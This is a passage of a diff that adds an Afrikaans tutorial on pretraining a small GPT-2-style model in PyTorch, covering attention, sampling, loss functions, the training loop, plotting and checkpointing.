+values = values.view(b, num_tokens, self.num_heads, self.head_dim)
+queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
+
+# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
+keys = keys.transpose(1, 2)
+queries = queries.transpose(1, 2)
+values = values.transpose(1, 2)
+
+# Compute scaled dot-product attention (aka self-attention) with a causal mask
+attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
+
+# Original mask truncated to the number of tokens and converted to boolean
+mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
+
+# Use the mask to fill attention scores
+attn_scores.masked_fill_(mask_bool, -torch.inf)
+
+attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
+attn_weights = self.dropout(attn_weights)
+
+# Shape: (b, num_tokens, num_heads, head_dim)
+context_vec = (attn_weights @ values).transpose(1, 2)
+
+# Combine heads, where self.d_out = self.num_heads * self.head_dim
+context_vec = context_vec.reshape(b, num_tokens, self.d_out)
+context_vec = self.out_proj(context_vec) # optional projection
+
+return context_vec
+
+
+class LayerNorm(nn.Module):
+def __init__(self, emb_dim):
+super().__init__()
+self.eps = 1e-5
+self.scale = nn.Parameter(torch.ones(emb_dim))
+self.shift = nn.Parameter(torch.zeros(emb_dim))
+
+def forward(self, x):
+mean = x.mean(dim=-1, keepdim=True)
+var = x.var(dim=-1, keepdim=True, unbiased=False)
+norm_x = (x - mean) / torch.sqrt(var + self.eps)
+return self.scale * norm_x + self.shift
+
+
+class GELU(nn.Module):
+def __init__(self):
+super().__init__()
+
+def forward(self, x):
+return 0.5 * x * (1 + torch.tanh(
+torch.sqrt(torch.tensor(2.0 / torch.pi)) *
+(x + 0.044715 * torch.pow(x, 3))
+))
+
+
+class FeedForward(nn.Module):
+def __init__(self, cfg):
+super().__init__()
+self.layers = nn.Sequential(
+nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
+GELU(),
+nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
+)
+
+def forward(self, x):
+return self.layers(x)
+
+
+class TransformerBlock(nn.Module):
+def __init__(self, cfg):
+super().__init__()
+self.att = MultiHeadAttention(
+d_in=cfg["emb_dim"],
+d_out=cfg["emb_dim"],
+context_length=cfg["context_length"],
+num_heads=cfg["n_heads"],
+dropout=cfg["drop_rate"],
+qkv_bias=cfg["qkv_bias"])
+self.ff = FeedForward(cfg)
+self.norm1 = LayerNorm(cfg["emb_dim"])
+self.norm2 = LayerNorm(cfg["emb_dim"])
+self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
+
+def forward(self, x):
+# Shortcut connection for attention block
+shortcut = x
+x = self.norm1(x)
+x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
+x = self.drop_shortcut(x)
+x = x + shortcut # Add the original input back
+
+# Shortcut connection for feed-forward block
+shortcut = x
+x = self.norm2(x)
+x = self.ff(x)
+x = self.drop_shortcut(x)
+x = x + shortcut # Add the original input back
+
+return x
+
+
+class GPTModel(nn.Module):
+def __init__(self, cfg):
+super().__init__()
+self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
+self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
+self.drop_emb = nn.Dropout(cfg["drop_rate"])
+
+self.trf_blocks = nn.Sequential(
+*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
+
+self.final_norm = LayerNorm(cfg["emb_dim"])
+self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
+
+def forward(self, in_idx):
+batch_size, seq_len = in_idx.shape
+tok_embeds = self.tok_emb(in_idx)
+pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
+x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
+x = self.drop_emb(x)
+x = self.trf_blocks(x)
+x = self.final_norm(x)
+logits = self.out_head(x)
+return logits
+```
+
+```python
+# Download contents to train the data with
+import os
+import urllib.request
+
+file_path = "the-verdict.txt"
+url = "https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt"
+
+if not os.path.exists(file_path):
+with urllib.request.urlopen(url) as response:
+text_data = response.read().decode('utf-8')
+with open(file_path, "w", encoding="utf-8") as file:
+file.write(text_data)
+else:
+with open(file_path, "r", encoding="utf-8") as file:
+text_data = file.read()
+
+total_characters = len(text_data)
+tokenizer = tiktoken.get_encoding("gpt2")
+total_tokens = len(tokenizer.encode(text_data))
+
+print("Data downloaded")
+print("Characters:", total_characters)
+print("Tokens:", total_tokens)
+
+# Model initialization
+GPT_CONFIG_124M = {
+"vocab_size": 50257, # Vocabulary size
+"context_length": 256, # Shortened context length (orig: 1024)
+"emb_dim": 768, # Embedding dimension
+"n_heads": 12, # Number of attention heads
+"n_layers": 12, # Number of layers
+"drop_rate": 0.1, # Dropout rate
+"qkv_bias": False # Query-key-value bias
+}
+
+torch.manual_seed(123)
+model = GPTModel(GPT_CONFIG_124M)
+model.eval()
+print ("Model initialized")
+
+
+# Functions to transform from tokens to ids and from to ids to tokens
+def text_to_token_ids(text, tokenizer):
+encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
+encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
+return encoded_tensor
+
+def token_ids_to_text(token_ids, tokenizer):
+flat = token_ids.squeeze(0) # remove batch dimension
+return tokenizer.decode(flat.tolist())
+
+
+
+# Define loss functions
+def calc_loss_batch(input_batch, target_batch, model, device):
+input_batch, target_batch = input_batch.to(device), target_batch.to(device)
+logits = model(input_batch)
+loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
+return loss
+
+
+def calc_loss_loader(data_loader, model, device, num_batches=None):
+total_loss = 0.
+if len(data_loader) == 0:
+return float("nan")
+elif num_batches is None:
+num_batches = len(data_loader)
+else:
+# Reduce the number of batches to match the total number of batches in the data loader
+# if num_batches exceeds the number of batches in the data loader
+num_batches = min(num_batches, len(data_loader))
+for i, (input_batch, target_batch) in enumerate(data_loader):
+if i < num_batches:
+loss = calc_loss_batch(input_batch, target_batch, model, device)
+total_loss += loss.item()
+else:
+break
+return total_loss / num_batches
+
+
+# Apply Train/validation ratio and create dataloaders
+train_ratio = 0.90
+split_idx = int(train_ratio * len(text_data))
+train_data = text_data[:split_idx]
+val_data = text_data[split_idx:]
+
+torch.manual_seed(123)
+
+train_loader = create_dataloader_v1(
+train_data,
+batch_size=2,
+max_length=GPT_CONFIG_124M["context_length"],
+stride=GPT_CONFIG_124M["context_length"],
+drop_last=True,
+shuffle=True,
+num_workers=0
+)
+
+val_loader = create_dataloader_v1(
+val_data,
+batch_size=2,
+max_length=GPT_CONFIG_124M["context_length"],
+stride=GPT_CONFIG_124M["context_length"],
+drop_last=False,
+shuffle=False,
+num_workers=0
+)
+
+
+# Sanity checks
+if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
+print("Not enough tokens for the training loader. "
+"Try to lower the `GPT_CONFIG_124M['context_length']` or "
+"increase the `training_ratio`")
+
+if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
+print("Not enough tokens for the validation loader. "
+"Try to lower the `GPT_CONFIG_124M['context_length']` or "
+"decrease the `training_ratio`")
+
+print("Train loader:")
+for x, y in train_loader:
+print(x.shape, y.shape)
+
+print("\nValidation loader:")
+for x, y in val_loader:
+print(x.shape, y.shape)
+
+train_tokens = 0
+for input_batch, target_batch in train_loader:
+train_tokens += input_batch.numel()
+
+val_tokens = 0
+for input_batch, target_batch in val_loader:
+val_tokens += input_batch.numel()
+
+print("Training tokens:", train_tokens)
+print("Validation tokens:", val_tokens)
+print("All tokens:", train_tokens + val_tokens)
+
+
+# Indicate the device to use
+if torch.cuda.is_available():
+device = torch.device("cuda")
+elif torch.backends.mps.is_available():
+device = torch.device("mps")
+else:
+device = torch.device("cpu")
+
+print(f"Using {device} device.")
+
+model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
+
+
+
+# Pre-calculate losses without starting yet
+torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
+
+with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
+train_loss = calc_loss_loader(train_loader, model, device)
+val_loss = calc_loss_loader(val_loader, model, device)
+
+print("Training loss:", train_loss)
+print("Validation loss:", val_loss)
+
+
+# Functions to train the data
+def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
+eval_freq, eval_iter, start_context, tokenizer):
+# Initialize lists to track losses and tokens seen
+train_losses, val_losses, track_tokens_seen = [], [], []
+tokens_seen, global_step = 0, -1
+
+# Main training loop
+for epoch in range(num_epochs):
+model.train() # Set model to training mode
+
+for input_batch, target_batch in train_loader:
+optimizer.zero_grad() # Reset loss gradients from previous batch iteration
+loss = calc_loss_batch(input_batch, target_batch, model, device)
+loss.backward() # Calculate loss gradients
+optimizer.step() # Update model weights using loss gradients
+tokens_seen += input_batch.numel()
+global_step += 1
+
+# Optional evaluation step
+if global_step % eval_freq == 0:
+train_loss, val_loss = evaluate_model(
+model, train_loader, val_loader, device, eval_iter)
+train_losses.append(train_loss)
+val_losses.append(val_loss)
+track_tokens_seen.append(tokens_seen)
+print(f"Ep {epoch+1} (Step {global_step:06d}): "
+f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
+
+# Print a sample text after each epoch
+generate_and_print_sample(
+model, tokenizer, device, start_context
+)
+
+return train_losses, val_losses, track_tokens_seen
+
+
+def evaluate_model(model, train_loader, val_loader, device, eval_iter):
+model.eval()
+with torch.no_grad():
+train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
+val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
+model.train()
+return train_loss, val_loss
+
+
+def generate_and_print_sample(model, tokenizer, device, start_context):
+model.eval()
+context_size = model.pos_emb.weight.shape[0]
+encoded = text_to_token_ids(start_context, tokenizer).to(device)
+with torch.no_grad():
+token_ids = generate_text(
+model=model, idx=encoded,
+max_new_tokens=50, context_size=context_size
+)
+decoded_text = token_ids_to_text(token_ids, tokenizer)
+print(decoded_text.replace("\n", " ")) # Compact print format
+model.train()
+
+
+# Start training!
+import time
+start_time = time.time()
+
+torch.manual_seed(123)
+model = GPTModel(GPT_CONFIG_124M)
+model.to(device)
+optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
+
+num_epochs = 10
+train_losses, val_losses, tokens_seen = train_model_simple(
+model, train_loader, val_loader, optimizer, device,
+num_epochs=num_epochs, eval_freq=5, eval_iter=5,
+start_context="Every effort moves you", tokenizer=tokenizer
+)
+
+end_time = time.time()
+execution_time_minutes = (end_time - start_time) / 60
+print(f"Training completed in {execution_time_minutes:.2f} minutes.")
+
+
+
+# Show graphics with the training process
+import matplotlib.pyplot as plt
+from matplotlib.ticker import MaxNLocator
+import math
+def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
+fig, ax1 = plt.subplots(figsize=(5, 3))
+ax1.plot(epochs_seen, train_losses, label="Training loss")
+ax1.plot(
+epochs_seen, val_losses, linestyle="-.", label="Validation loss"
+)
+ax1.set_xlabel("Epochs")
+ax1.set_ylabel("Loss")
+ax1.legend(loc="upper right")
+ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
+ax2 = ax1.twiny()
+ax2.plot(tokens_seen, train_losses, alpha=0)
+ax2.set_xlabel("Tokens seen")
+fig.tight_layout()
+plt.show()
+
+# Compute perplexity from the loss values
+train_ppls = [math.exp(loss) for loss in train_losses]
+val_ppls = [math.exp(loss) for loss in val_losses]
+# Plot perplexity over tokens seen
+plt.figure()
+plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
+plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
+plt.xlabel('Tokens Seen')
+plt.ylabel('Perplexity')
+plt.title('Perplexity over Training')
+plt.legend()
+plt.show()
+
+epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
+plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
+
+
+torch.save({
+"model_state_dict": model.state_dict(),
+"optimizer_state_dict": optimizer.state_dict(),
+},
+"/tmp/model_and_optimizer.pth"
+)
+```
+Kom ons kyk na ’n verduideliking stap vir stap
+
+### Funksies om teks <--> IDs te transformeer
+
+Dit is ’n paar eenvoudige funksies wat gebruik kan word om teks uit die woordeskat na IDs en terug te transformeer. Dit is nodig aan die begin van die verwerking van die teks en aan die einde van die voorspellings:
+```python
+# Functions to transform from tokens to ids and from to ids to tokens
+def text_to_token_ids(text, tokenizer):
+encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
+encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
+return encoded_tensor
+
+def token_ids_to_text(token_ids, tokenizer):
+flat = token_ids.squeeze(0) # remove batch dimension
+return tokenizer.decode(flat.tolist())
+```
+### Generate text-funksies
+
+In 'n vorige afdeling is 'n funksie bespreek wat slegs die **most probable token** gekies het nadat die **logits** verkry is. Dit beteken egter dat dieselfde uitvoer altyd vir elke inskrywing gegenereer sal word, wat dit baie deterministies maak.
+
+Die volgende `generate_text`-funksie sal die `top-k`-, `temperature`- en `multinomial`-konsepte toepas.
+
+- Die **`top-k`** beteken dat ons die waarskynlikhede van al die tokens, behalwe dié van die top k tokens, na `-inf` sal verminder. Dus, as k=3, sal slegs die 3 tokens met die hoogste waarskynlikheid 'n waarskynlikheid anders as `-inf` hê voordat 'n besluit geneem word.
+- Die **`temperature`** beteken dat elke waarskynlikheid deur die temperature-waarde gedeel sal word. 'n Waarde van `0.1` sal die hoogste waarskynlikheid teenoor die laagste een verbeter, terwyl 'n temperature van byvoorbeeld `5` dit meer gelyk sal maak. Dit help om die variasie in die response wat ons wil hê die LLM moet lewer, te verbeter.
+- Nadat die temperature toegepas is, word 'n **`softmax`**-funksie weer toegepas om te verseker dat al die oorblywende tokens 'n totale waarskynlikheid van 1 het.
+- Laastens, in plaas daarvan om die token met die grootste waarskynlikheid te kies, word die **`multinomial`**-funksie toegepas om **die volgende token volgens die finale waarskynlikhede te voorspel**. As token 1 dus 'n 70%-waarskynlikheid gehad het, token 2 'n 20%-waarskynlikheid en token 3 'n 10%-waarskynlikheid, sal token 1 in 70% van die gevalle gekies word, token 2 in 20% van die gevalle en token 3 in 10% van die gevalle.
+```python
+# Generate text function
+def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None):
+
+# For-loop is the same as before: Get logits, and only focus on last time step
+for _ in range(max_new_tokens):
+idx_cond = idx[:, -context_size:]
+with torch.no_grad():
+logits = model(idx_cond)
+logits = logits[:, -1, :]
+
+# New: Filter logits with top_k sampling
+if top_k is not None:
+# Keep only top_k values
+top_logits, _ = torch.topk(logits, top_k)
+min_val = top_logits[:, -1]
+logits = torch.where(logits < min_val, torch.tensor(float("-inf")).to(logits.device), logits)
+
+# New: Apply temperature scaling
+if temperature > 0.0:
+logits = logits / temperature
+
+# Apply softmax to get probabilities
+probs = torch.softmax(logits, dim=-1) # (batch_size, context_len)
+
+# Sample from the distribution
+idx_next = torch.multinomial(probs, num_samples=1) # (batch_size, 1)
+
+# Otherwise same as before: get idx of the vocab entry with the highest logits value
+else:
+idx_next = torch.argmax(logits, dim=-1, keepdim=True) # (batch_size, 1)
+
+if idx_next == eos_id: # Stop generating early if end-of-sequence token is encountered and eos_id is specified
+break
+
+# Same as before: append sampled index to the running sequence
+idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
+
+return idx
+```
+> [!TIP]
+> Daar is ’n algemene alternatief vir `top-k` genaamd [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), ook bekend as nucleus sampling, wat in plaas daarvan om k monsters met die hoogste waarskynlikheid te kry, die hele **woordeskat** volgens waarskynlikhede **rangskik** en dit van die hoogste waarskynlikheid tot die laagste optel totdat ’n **drempel bereik word**.
+>
+> Dan sal **slegs daardie woorde** van die woordeskat volgens hul relatiewe waarskynlikhede oorweeg word.
+>
+> Dit maak dit onnodig om ’n aantal `k` monsters te kies, aangesien die optimale k in elke geval kan verskil, maar **slegs ’n drempel** benodig word.
+>
+> _Let daarop dat hierdie verbetering nie in die vorige kode ingesluit is nie._
+
+> [!TIP]
+> Nog ’n manier om die gegenereerde teks te verbeter, is om **Beam search** te gebruik in plaas van die greedy search wat in hierdie voorbeeld gebruik word.\
+> Anders as greedy search, wat die waarskynlikste volgende woord by elke stap kies en ’n enkele reeks bou, **hou beam search rekord van die top 𝑘 k gedeeltelike reekse met die hoogste tellings** (genoem "beams") by elke stap. Deur verskeie moontlikhede gelyktydig te verken, balanseer dit doeltreffendheid en kwaliteit, wat die kanse verhoog om ’n **beter algehele** reeks te **vind** wat deur die greedy-benadering gemis kon word weens vroeë, suboptimale keuses.
+>
+> _Let daarop dat hierdie verbetering nie in die vorige kode ingesluit is nie._
+
+### Verliesfunksies
+
+Die **`calc_loss_batch`**-funksie bereken die kruis-entropie van die voorspelling van ’n enkele bondel.\
+Die **`calc_loss_loader`** verkry die kruis-entropie van al die bondels en bereken die **gemiddelde kruis-entropie**.
+```python
+# Define loss functions
+def calc_loss_batch(input_batch, target_batch, model, device):
+input_batch, target_batch = input_batch.to(device), target_batch.to(device)
+logits = model(input_batch)
+loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
+return loss
+
+def calc_loss_loader(data_loader, model, device, num_batches=None):
+total_loss = 0.
+if len(data_loader) == 0:
+return float("nan")
+elif num_batches is None:
+num_batches = len(data_loader)
+else:
+# Reduce the number of batches to match the total number of batches in the data loader
+# if num_batches exceeds the number of batches in the data loader
+num_batches = min(num_batches, len(data_loader))
+for i, (input_batch, target_batch) in enumerate(data_loader):
+if i < num_batches:
+loss = calc_loss_batch(input_batch, target_batch, model, device)
+total_loss += loss.item()
+else:
+break
+return total_loss / num_batches
+```
+> [!TIP]
+> **Gradient clipping** is ’n tegniek wat gebruik word om **training stability** in groot neurale netwerke te verbeter deur ’n **maksimumdrempel** vir gradient-magnitudes te stel. Wanneer gradients hierdie voorafbepaalde `max_norm` oorskry, word hulle proporsioneel afgeskaal om te verseker dat opdaterings aan die model se parameters binne ’n hanteerbare omvang bly, wat kwessies soos exploding gradients voorkom en meer beheerde en stabiele training verseker.
+>
+> _Let daarop dat hierdie verbetering nie by die vorige code ingesluit is nie._
+>
+> Kyk na die volgende voorbeeld:
+
+
+
+### Laai Data
+
+Die funksies `create_dataloader_v1` en `create_dataloader_v1` is reeds in ’n vorige afdeling bespreek.
+
+Let van hier af daarop hoe gedefinieer word dat 90% van die teks vir training gebruik gaan word, terwyl die oorblywende 10% vir validation gebruik gaan word, en albei stelle in 2 verskillende data loaders gestoor word.\
+Let daarop dat ’n gedeelte van die data set soms ook vir ’n testing-set gelaat word om die model se performance beter te evalueer.
+
+Albei data loaders gebruik dieselfde batch size, maximum length en stride, asook num workers (0 in hierdie geval).\
+Die belangrikste verskille is die data wat deur elkeen gebruik word, en dat die validator nie die laaste item weglaat of die data shuffel nie, aangesien dit nie vir validation-doeleindes nodig is nie.
+
+Die feit dat **stride so groot soos die context length is**, beteken ook dat daar geen overlapping tussen contexts sal wees wat gebruik word om die data te train nie (dit verminder overfitting, maar ook die training-data set).
+
+Let verder daarop dat die batch size in hierdie geval 2 is om die data in 2 batches te verdeel. Die hoofdoel hiervan is om parallel processing moontlik te maak en die verbruik per batch te verminder.
+```python
+train_ratio = 0.90
+split_idx = int(train_ratio * len(text_data))
+train_data = text_data[:split_idx]
+val_data = text_data[split_idx:]
+
+torch.manual_seed(123)
+
+train_loader = create_dataloader_v1(
+train_data,
+batch_size=2,
+max_length=GPT_CONFIG_124M["context_length"],
+stride=GPT_CONFIG_124M["context_length"],
+drop_last=True,
+shuffle=True,
+num_workers=0
+)
+
+val_loader = create_dataloader_v1(
+val_data,
+batch_size=2,
+max_length=GPT_CONFIG_124M["context_length"],
+stride=GPT_CONFIG_124M["context_length"],
+drop_last=False,
+shuffle=False,
+num_workers=0
+)
+```
+## Basiese kontroles
+
+Die doel is om te kontroleer of daar genoeg tokens vir opleiding is, of die vorms die verwagte vorms is, en om inligting te kry oor die aantal tokens wat vir opleiding en validering gebruik word:
+```python
+# Sanity checks
+if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
+print("Not enough tokens for the training loader. "
+"Try to lower the `GPT_CONFIG_124M['context_length']` or "
+"increase the `training_ratio`")
+
+if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
+print("Not enough tokens for the validation loader. "
+"Try to lower the `GPT_CONFIG_124M['context_length']` or "
+"decrease the `training_ratio`")
+
+print("Train loader:")
+for x, y in train_loader:
+print(x.shape, y.shape)
+
+print("\nValidation loader:")
+for x, y in val_loader:
+print(x.shape, y.shape)
+
+train_tokens = 0
+for input_batch, target_batch in train_loader:
+train_tokens += input_batch.numel()
+
+val_tokens = 0
+for input_batch, target_batch in val_loader:
+val_tokens += input_batch.numel()
+
+print("Training tokens:", train_tokens)
+print("Validation tokens:", val_tokens)
+print("All tokens:", train_tokens + val_tokens)
+```
+### Kies toestel vir opleiding en voorafberekeninge
+
+Die volgende kode kies net die toestel wat gebruik moet word en bereken ’n opleidingsverlies en validasieverlies (sonder dat enigiets nog opgelei is) as ’n beginpunt.
+```python
+# Indicate the device to use
+
+if torch.cuda.is_available():
+device = torch.device("cuda")
+elif torch.backends.mps.is_available():
+device = torch.device("mps")
+else:
+device = torch.device("cpu")
+
+print(f"Using {device} device.")
+
+model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
+
+# Pre-calculate losses without starting yet
+torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
+
+with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
+train_loss = calc_loss_loader(train_loader, model, device)
+val_loss = calc_loss_loader(val_loader, model, device)
+
+print("Training loss:", train_loss)
+print("Validation loss:", val_loss)
+```
+### Opleidingsfunksies
+
+Die funksie `generate_and_print_sample` sal bloot ’n konteks kry en ’n paar tokens genereer om ’n idee te kry van hoe goed die model op daardie stadium is. Dit word deur `train_model_simple` by elke stap aangeroep.
+
+Die funksie `evaluate_model` word so gereeld as wat deur die training-funksie aangedui word, aangeroep en word gebruik om die train loss en die validation loss op daardie stadium van die model training te meet.
+
+Dan is die groot funksie `train_model_simple` die een wat die model werklik train. Dit verwag:
+
+- Die train data loader (met die data wat reeds geskei en voorberei is vir training)
+- Die validator loader
+- Die **optimizer** wat tydens training gebruik moet word: Dit is die funksie wat die gradients sal gebruik en die parameters sal opdateer om die loss te verminder. In hierdie geval word, soos jy sal sien, `AdamW` gebruik, maar daar is baie meer.
+- `optimizer.zero_grad()` word op elke rondte aangeroep om die gradients terug te stel sodat hulle nie ophoop nie.
+- Die **`lr`**-parameter is die **learning rate**, wat die **grootte van die stappe** bepaal wat tydens die optimization-proses geneem word wanneer die model se parameters opgedateer word. ’n **Kleiner** learning rate beteken dat die optimizer **kleiner opdaterings** aan die weights maak, wat tot meer **presiese** konvergensie kan lei, maar training kan **vertraag**. ’n **Groter** learning rate kan training versnel, maar **riskeer om verby die minimum te spring** van die loss-funksie (**oor die punt te spring** waar die loss-funksie geminimaliseer word).
+- **Weight Decay** wysig die **Loss Calculation**-stap deur ’n ekstra term by te voeg wat groot weights penaliseer. Dit moedig die optimizer aan om oplossings met kleiner weights te vind, wat ’n balans skep tussen om die data goed te pas en om die model eenvoudig te hou, en voorkom overfitting in machine learning-modelle deur die model te ontmoedig om te veel belangrikheid aan enige enkele feature toe te ken.
+- Tradisionele optimizers soos SGD met L2-regularisering koppel weight decay aan die gradient van die loss-funksie. **AdamW** (’n variant van die Adam optimizer) ontkoppel weight decay egter van die gradient update, wat tot meer effektiewe regularisering lei.
+- Die device wat vir training gebruik moet word
+- Die aantal epochs: Die aantal kere wat oor die training-data gegaan moet word
+- Die evaluation frequency: Hoe gereeld `evaluate_model` aangeroep moet word
+- Die evaluation iteration: Die aantal batches wat gebruik moet word wanneer die huidige toestand van die model geëvalueer word tydens die aanroep van `generate_and_print_sample`
+- Die start context: Watter beginsin gebruik moet word wanneer `generate_and_print_sample` aangeroep word
+- Die tokenizer
+```python
+# Functions to train the data
+def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
+eval_freq, eval_iter, start_context, tokenizer):
+# Initialize lists to track losses and tokens seen
+train_losses, val_losses, track_tokens_seen = [], [], []
+tokens_seen, global_step = 0, -1
+
+# Main training loop
+for epoch in range(num_epochs):
+model.train() # Set model to training mode
+
+for input_batch, target_batch in train_loader:
+optimizer.zero_grad() # Reset loss gradients from previous batch iteration
+loss = calc_loss_batch(input_batch, target_batch, model, device)
+loss.backward() # Calculate loss gradients
+optimizer.step() # Update model weights using loss gradients
+tokens_seen += input_batch.numel()
+global_step += 1
+
+# Optional evaluation step
+if global_step % eval_freq == 0:
+train_loss, val_loss = evaluate_model(
+model, train_loader, val_loader, device, eval_iter)
+train_losses.append(train_loss)
+val_losses.append(val_loss)
+track_tokens_seen.append(tokens_seen)
+print(f"Ep {epoch+1} (Step {global_step:06d}): "
+f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
+
+# Print a sample text after each epoch
+generate_and_print_sample(
+model, tokenizer, device, start_context
+)
+
+return train_losses, val_losses, track_tokens_seen
+
+
+def evaluate_model(model, train_loader, val_loader, device, eval_iter):
+model.eval() # Set in eval mode to avoid dropout
+with torch.no_grad():
+train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
+val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
+model.train() # Back to training model applying all the configurations
+return train_loss, val_loss
+
+
+def generate_and_print_sample(model, tokenizer, device, start_context):
+model.eval() # Set in eval mode to avoid dropout
+context_size = model.pos_emb.weight.shape[0]
+encoded = text_to_token_ids(start_context, tokenizer).to(device)
+with torch.no_grad():
+token_ids = generate_text(
+model=model, idx=encoded,
+max_new_tokens=50, context_size=context_size
+)
+decoded_text = token_ids_to_text(token_ids, tokenizer)
+print(decoded_text.replace("\n", " ")) # Compact print format
+model.train() # Back to training model applying all the configurations
+```
+> [!TIP]
+> Om die learning rate te verbeter, is daar ’n paar relevante tegnieke genaamd **linear warmup** en **cosine decay.**
+>
+> **Linear warmup** bestaan daaruit om ’n aanvanklike learning rate en ’n maksimum een te definieer en dit konsekwent ná elke epoch by te werk. Dit is omdat die begin van die training met kleiner gewigsopdaterings die risiko verminder dat die model tydens sy trainingsfase groot, destabiliserende opdaterings ondervind.\
+> **Cosine decay** is ’n tegniek wat die learning rate **geleidelik verlaag** volgens ’n half-cosinuskurwe **ná die warmup**-fase, wat gewigsopdaterings vertraag om **die risiko van oorskiet van die verlies-minimum te minimaliseer** en trainingsstabiliteit in latere fases te verseker.
+>
+> _Let daarop dat hierdie verbeterings nie in die vorige kode ingesluit is nie._
+
+### Begin met training
+```python
+import time
+start_time = time.time()
+
+torch.manual_seed(123)
+model = GPTModel(GPT_CONFIG_124M)
+model.to(device)
+optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
+
+num_epochs = 10
+train_losses, val_losses, tokens_seen = train_model_simple(
+model, train_loader, val_loader, optimizer, device,
+num_epochs=num_epochs, eval_freq=5, eval_iter=5,
+start_context="Every effort moves you", tokenizer=tokenizer
+)
+
+end_time = time.time()
+execution_time_minutes = (end_time - start_time) / 60
+print(f"Training completed in {execution_time_minutes:.2f} minutes.")
+```
+### Druk opleidingsevolusie
+
+Met die volgende funksie is dit moontlik om die evolusie van die model te druk terwyl dit opgelei is.
+```python
+import matplotlib.pyplot as plt
+from matplotlib.ticker import MaxNLocator
+import math
+def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
+fig, ax1 = plt.subplots(figsize=(5, 3))
+ax1.plot(epochs_seen, train_losses, label="Training loss")
+ax1.plot(
+epochs_seen, val_losses, linestyle="-.", label="Validation loss"
+)
+ax1.set_xlabel("Epochs")
+ax1.set_ylabel("Loss")
+ax1.legend(loc="upper right")
+ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
+ax2 = ax1.twiny()
+ax2.plot(tokens_seen, train_losses, alpha=0)
+ax2.set_xlabel("Tokens seen")
+fig.tight_layout()
+plt.show()
+
+# Compute perplexity from the loss values
+train_ppls = [math.exp(loss) for loss in train_losses]
+val_ppls = [math.exp(loss) for loss in val_losses]
+# Plot perplexity over tokens seen
+plt.figure()
+plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
+plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
+plt.xlabel('Tokens Seen')
+plt.ylabel('Perplexity')
+plt.title('Perplexity over Training')
+plt.legend()
+plt.show()
+
+epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
+plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
+```
+### Stoor die model
+
+Dit is moontlik om die model + optimizer te stoor as jy later wil voortgaan met opleiding:
+```python
+# Save the model and the optimizer for later training
+torch.save({
+"model_state_dict": model.state_dict(),
+"optimizer_state_dict": optimizer.state_dict(),
+},
+"/tmp/model_and_optimizer.pth"
+)
+# Note that this model with the optimizer occupied close to 2GB
+
+# Restore model and optimizer for training
+checkpoint = torch.load("/tmp/model_and_optimizer.pth", map_location=device, weights_only=True)
+
+model = GPTModel(GPT_CONFIG_124M)
+model.load_state_dict(checkpoint["model_state_dict"])
+optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1)
+optimizer.load_state_dict(checkpoint["optimizer_state_dict"])
+model.train(); # Put in training mode
+```
+Of net die model as jy beplan om dit net te gebruik:
+```python
+# Save the model
+torch.save(model.state_dict(), "model.pth")
+
+# Load it
+model = GPTModel(GPT_CONFIG_124M)
+
